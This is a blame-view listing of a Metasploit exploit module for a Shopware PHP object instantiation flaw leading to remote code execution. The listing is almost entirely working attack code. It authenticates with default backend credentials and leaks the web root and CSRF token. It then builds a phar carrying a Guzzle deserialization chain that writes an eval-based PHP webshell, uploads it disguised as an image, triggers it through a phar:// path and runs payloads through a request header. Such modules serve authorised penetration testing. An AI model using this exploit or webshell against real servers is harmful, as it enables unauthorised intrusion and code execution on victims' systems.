Files
metasploit-gs/modules/exploits/multi/http/shopware_createinstancefromnamedarguments_rce.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

284 lines
10 KiB
Ruby
Raw Normal View History

2019-05-09 15:08:33 -05:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
2019-05-09 15:35:00 -05:00
Rank = ExcellentRanking
2019-05-09 15:08:33 -05:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => "Shopware createInstanceFromNamedArguments PHP Object Instantiation RCE",
'Description' => %q(
This module exploits a php object instantiation vulnerability that can lead to RCE in
Shopware. An authenticated backend user could exploit the vulnerability.
The vulnerability exists in the createInstanceFromNamedArguments function, where the code
insufficiently performs whitelist check which can be bypassed to trigger an object injection.
An attacker can leverage this to deserialize an arbitrary payload and write a webshell to
the target system, resulting in remote code execution.
Tested on Shopware git branches 5.6, 5.5, 5.4, 5.3.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Karim Ouerghemmi', # original discovery
'mr_me <steven@srcincite.io>', # patch bypass, rce & msf module
2019-05-09 15:08:33 -05:00
],
'References' =>
[
2019-09-12 16:09:32 -05:00
['CVE', '2019-12799'], # yes really, assigned per request
2019-05-09 15:08:33 -05:00
['CVE', '2017-18357'], # not really because we bypassed this patch
['URL', 'https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/'] # initial writeup w/ limited exploitation
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic', {}]],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2019-05-09',
2019-05-09 15:08:33 -05:00
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, "Base Shopware path", '/']),
OptString.new('USERNAME', [true, "Backend username to authenticate with", 'demo']),
OptString.new('PASSWORD', [false, "Backend password to authenticate with", 'demo'])
]
)
end
2019-05-12 20:08:52 -05:00
def do_login
2019-05-09 15:08:33 -05:00
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'backend', 'Login', 'login'),
'vars_post' => {
'username' => datastore['username'],
'password' => datastore['password'],
}
)
unless res
2019-05-09 15:17:43 -05:00
fail_with(Failure::Unreachable, "Connection failed")
2019-05-09 15:08:33 -05:00
end
if res.code == 200
cookie = res.get_cookies.scan(%r{(SHOPWAREBACKEND=.{26};)}).flatten.first
if res.nil?
return
end
return cookie
end
2019-05-12 20:08:52 -05:00
return
2019-05-09 15:08:33 -05:00
end
2019-05-09 22:21:26 -05:00
def get_webroot(cookie)
2019-05-09 15:08:33 -05:00
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend', 'systeminfo', 'info'),
2019-05-09 22:21:26 -05:00
'cookie' => cookie
2019-05-09 15:08:33 -05:00
)
unless res
2019-05-09 15:17:43 -05:00
fail_with(Failure::Unreachable, "Connection failed")
2019-05-09 15:08:33 -05:00
end
2019-05-09 21:18:14 -05:00
if res.code == 200
2019-05-09 22:21:26 -05:00
return res.body.scan(%r{DOCUMENT_ROOT </td><td class="v">(.*) </td></tr>}).flatten.first
end
2019-05-12 20:08:52 -05:00
return
end
def leak_csrf(cookie)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend', 'CSRFToken', 'generate'),
'cookie' => cookie
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
if res.code == 200
if res.headers.include?('X-Csrf-Token')
return res.headers['X-Csrf-Token']
end
end
return
2019-05-09 15:08:33 -05:00
end
2019-05-09 22:21:26 -05:00
def generate_phar(webroot)
2019-05-17 18:20:59 -05:00
php = Rex::FileUtils.normalize_unix_path("#{webroot}#{target_uri.path}media/#{@shll_bd}.php")
2019-05-09 15:08:33 -05:00
register_file_for_cleanup("#{@shll_bd}.php")
pop = "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":2:{s:41:\"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename\";"
2019-05-09 22:21:26 -05:00
pop << "s:#{php.length}:\"#{php}\";"
2019-05-09 15:08:33 -05:00
pop << "s:36:\"\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies\";"
pop << "a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\x00GuzzleHttp\\Cookie\\SetCookie\x00data\";"
pop << "a:3:{s:5:\"Value\";"
pop << "s:48:\"<?php eval(base64_decode($_SERVER[HTTP_#{@header}])); ?>\";"
pop << "s:7:\"Expires\";"
pop << "b:1;"
pop << "s:7:\"Discard\";"
pop << "b:0;}}}}"
2019-05-09 15:17:43 -05:00
file = Rex::Text.rand_text_alpha_lower(8)
stub = "<?php __HALT_COMPILER(); ?>\r\n"
file_contents = Rex::Text.rand_text_alpha_lower(20)
file_crc32 = Zlib::crc32(file_contents) & 0xffffffff
manifest_len = 40 + pop.length + file.length
phar = stub
phar << [manifest_len].pack('V') # length of manifest in bytes
phar << [0x1].pack('V') # number of files in the phar
phar << [0x11].pack('v') # api version of the phar manifest
phar << [0x10000].pack('V') # global phar bitmapped flags
phar << [0x0].pack('V') # length of phar alias
phar << [pop.length].pack('V') # length of phar metadata
phar << pop # pop chain
phar << [file.length].pack('V') # length of filename in the archive
phar << file # filename
phar << [file_contents.length].pack('V') # length of the uncompressed file contents
phar << [0x0].pack('V') # unix timestamp of file set to Jan 01 1970.
phar << [file_contents.length].pack('V') # length of the compressed file contents
phar << [file_crc32].pack('V') # crc32 checksum of un-compressed file contents
phar << [0x1b6].pack('V') # bit-mapped file-specific flags
phar << [0x0].pack('V') # serialized File Meta-data length
phar << file_contents # serialized File Meta-data
phar << [Rex::Text.sha1(phar)].pack('H*') # signature
phar << [0x2].pack('V') # signiture type
phar << "GBMB" # signature presence
return phar
2019-05-09 15:08:33 -05:00
end
2019-05-09 22:21:26 -05:00
def upload(cookie, csrf_token, phar)
2019-05-09 15:08:33 -05:00
data = Rex::MIME::Message.new
data.add_part(phar, Rex::Text.rand_text_alpha_lower(8), nil, "name=\"fileId\"; filename=\"#{@phar_bd}.jpg\"")
2019-05-09 15:08:33 -05:00
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'backend', 'mediaManager', 'upload'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
2019-05-09 22:21:26 -05:00
'cookie' => cookie,
2019-05-09 15:08:33 -05:00
'headers' => {
2019-05-09 22:21:26 -05:00
'X-CSRF-Token' => csrf_token
2019-05-09 15:08:33 -05:00
}
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
if res.code == 200 && res.body =~ /Image is not in a recognized format/i
2019-05-12 20:08:52 -05:00
return true
2019-05-09 15:08:33 -05:00
end
2019-05-12 20:08:52 -05:00
return
2019-05-09 15:08:33 -05:00
end
2019-05-09 22:21:26 -05:00
def leak_upload(cookie, csrf_token)
2019-05-09 15:08:33 -05:00
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend', 'MediaManager', 'getAlbumMedia'),
2019-05-09 22:21:26 -05:00
'cookie' => cookie,
2019-05-09 15:08:33 -05:00
'headers' => {
2019-05-09 22:21:26 -05:00
'X-CSRF-Token' => csrf_token
2019-05-09 15:08:33 -05:00
}
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
if res.code == 200 && res.body =~ /#{@phar_bd}.jpg/i
bd_path = $1 if res.body =~ /media\\\/image\\\/(.{10})\\\/#{@phar_bd}/
register_file_for_cleanup("image/#{bd_path.gsub("\\", "")}/#{@phar_bd}.jpg")
2019-05-09 22:21:26 -05:00
return "media/image/#{bd_path.gsub("\\", "")}/#{@phar_bd}.jpg"
end
2019-05-12 20:08:52 -05:00
return
2019-05-09 15:08:33 -05:00
end
2019-05-09 22:21:26 -05:00
def trigger_bug(cookie, csrf_token, upload_path)
2019-05-09 15:08:33 -05:00
sort = {
"Shopware_Components_CsvIterator" => {
2019-05-09 22:21:26 -05:00
"filename" => "phar://#{upload_path}",
2019-05-09 15:08:33 -05:00
"delimiter" => "",
"header" => ""
}
}
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend', 'ProductStream', 'loadPreview'),
2019-05-09 22:21:26 -05:00
'cookie' => cookie,
2019-05-09 15:08:33 -05:00
'headers' => {
2019-05-09 22:21:26 -05:00
'X-CSRF-Token' => csrf_token
2019-05-09 15:08:33 -05:00
},
'vars_get' => { 'sort' => sort.to_json }
)
unless res
2019-05-09 15:17:43 -05:00
fail_with(Failure::Unreachable, "Connection failed")
2019-05-09 15:08:33 -05:00
end
return
end
def exec_code
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "media", "#{@shll_bd}.php"),
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
2019-05-09 20:58:14 -05:00
}, 1)
2019-05-09 15:08:33 -05:00
end
def check
2019-05-12 20:08:52 -05:00
cookie = do_login
if cookie.nil?
2019-05-13 17:36:06 -05:00
vprint_error "Authentication was unsuccessful"
return Exploit::CheckCode::Safe
end
2019-05-12 20:08:52 -05:00
csrf_token = leak_csrf(cookie)
if csrf_token.nil?
2019-05-13 17:36:06 -05:00
vprint_error "Unable to leak the CSRF token"
return Exploit::CheckCode::Safe
end
2019-05-09 15:08:33 -05:00
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend', 'ProductStream', 'loadPreview'),
2019-05-09 22:21:26 -05:00
'cookie' => cookie,
'headers' => { 'X-CSRF-Token' => csrf_token }
2019-05-09 15:08:33 -05:00
)
if res.code == 200 && res.body =~ /Shop not found/i
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
@phar_bd = Rex::Text.rand_text_alpha_lower(8)
@shll_bd = Rex::Text.rand_text_alpha_lower(8)
@header = Rex::Text.rand_text_alpha_upper(2)
2019-05-12 20:08:52 -05:00
cookie = do_login
if cookie.nil?
fail_with(Failure::NoAccess, "Authentication was unsuccessful")
end
2019-05-09 22:21:26 -05:00
print_good("Stage 1 - logged in with #{datastore['username']}: #{cookie}")
web_root = get_webroot(cookie)
2019-05-12 20:08:52 -05:00
if web_root.nil?
fail_with(Failure::Unknown, "Unable to leak the webroot")
end
print_good("Stage 2 - leaked the web root: #{web_root}")
2019-05-12 20:08:52 -05:00
csrf_token = leak_csrf(cookie)
if csrf_token.nil?
fail_with(Failure::Unknown, "Unable to leak the CSRF token")
end
2019-05-09 22:21:26 -05:00
print_good("Stage 3 - leaked the CSRF token: #{csrf_token}")
phar = generate_phar(web_root)
print_good("Stage 4 - generated our phar")
2019-05-12 20:08:52 -05:00
if !upload(cookie, csrf_token, phar)
fail_with(Failure::Unknown, "Unable to upload phar archive")
end
2019-05-09 15:08:33 -05:00
print_good("Stage 5 - uploaded phar")
2019-05-09 22:21:26 -05:00
upload_path = leak_upload(cookie, csrf_token)
2019-05-12 20:08:52 -05:00
if upload_path.nil?
fail_with(Failure::Unknown, "Cannot find phar archive")
end
2019-05-09 22:21:26 -05:00
print_good("Stage 6 - leaked phar location: #{upload_path}")
trigger_bug(cookie, csrf_token, upload_path)
2019-05-09 15:08:33 -05:00
print_good("Stage 7 - triggered object instantiation!")
exec_code
end
end